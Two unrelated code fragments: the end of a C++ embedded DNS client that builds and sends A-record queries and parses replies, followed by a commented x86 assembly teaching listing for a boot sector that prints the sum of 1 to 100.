buf[rdata_pos],buf[rdata_pos+1],buf[rdata_pos+2],buf[rdata_pos+3]); } else if (type == 5) { dnsname rdname(buf); rdname.decode(rdata_pos); printf(" CNAME %s\n", rdname.str.c_str()); } else { printf(" TYPE:%d", type); printfBytes(" RDATA:", &buf[rdata_pos], rdlength); } #endif } return rcode; } int DNSClient::query(uint8_t buf[], int size, const char* hostname) { const uint8_t header[] = { 0x00,0x00,0x01,0x00, // id=0x0000 QR=0 rd=1 opcode=0 rcode=0 0x00,0x01,0x00,0x00, // qdcount=1 ancount=0 0x00,0x00,0x00,0x00};// nscount=0 arcount=0 const uint8_t tail[] = {0x00,0x01,0x00,0x01}; // qtype=A qclass=IN memcpy(buf, header, sizeof(header)); int t = rand(); m_id[0] = t>>8; m_id[1] = t; memcpy(buf, m_id, 2); dnsname qname(buf); int pos = qname.encode(sizeof(header), (char*)hostname); memcpy(buf+pos, tail, sizeof(tail)); pos += sizeof(tail); return pos; } void DNSClient::resolve(const char* hostname) { if (m_udp == NULL) { m_udp = new UDPSocket; } m_udp->init(); m_udp->set_blocking(false); Endpoint server; server.set_address("8.8.8.8", 53); // DNS m_udp->bind(rand()&0x7fff); uint8_t buf[256]; int size = query(buf, sizeof(buf), hostname); #if DBG_DNS printf("hostname:[%s]\n", hostname); printHex(buf, size); #endif m_udp->sendTo(server, (char*)buf, size); m_interval.reset(); m_interval.start(); } void DNSClient::poll() { #if DBG_DNS printf("%p m_state: %d, m_udp: %p\n", this, m_state, m_udp); wait_ms(400); #endif switch(m_state) { case MYNETDNS_START: m_retry = 0; resolve(m_hostname); m_state = MYNETDNS_PROCESSING; break; case MYNETDNS_PROCESSING: break; case MYNETDNS_NOTFOUND: break; case MYNETDNS_ERROR: break; case MYNETDNS_OK: DBG2("m_retry=%d, m_interval=%d\n", m_retry, m_interval.read_ms()); break; } if (m_interval.read_ms() > 1000) { m_interval.stop(); DBG2("timeout m_retry=%d\n", m_retry); if (++m_retry >= 2) { m_state = MYNETDNS_ERROR; } else { resolve(m_hostname); m_state = MYNETDNS_PROCESSING; } } } bool DNSClient::lookup(const char* hostname) { m_hostname = hostname; m_state = MYNETDNS_START; while(1) { poll(); callback(); if (m_state != MYNETDNS_PROCESSING) { break; } } return m_state == MYNETDNS_OK; }
;代码清单7-1 ;文件名:c07_mbr.asm ;文件说明:硬盘主引导扇区代码 ;创建日期:2011-4-13 18:02 jmp near start message db '1+2+3+...+100=' start: mov ax,0x7c0 ;设置数据段的段基地址 mov ds,ax mov ax,0xb800 ;设置附加段基址到显示缓冲区 mov es,ax ;以下显示字符串 mov si,message mov di,0 mov cx,start-message @g: mov al,[si] mov [es:di],al inc di mov byte [es:di],0x07 inc di inc si loop @g ;以下计算1到100的和 xor ax,ax mov cx,1 @f: add ax,cx inc cx cmp cx,100 jle @f ;以下计算累加和的每个数位 xor cx,cx ;设置堆栈段的段基地址 mov ss,cx mov sp,cx mov bx,10 xor cx,cx @d: inc cx xor dx,dx div bx or dl,0x30 push dx cmp ax,0 jne @d ;以下显示各个数位 @a: pop dx mov [es:di],dl inc di mov byte [es:di],0x07 inc di loop @a jmp near $ times 510-($-$$) db 0 db 0x55,0xaa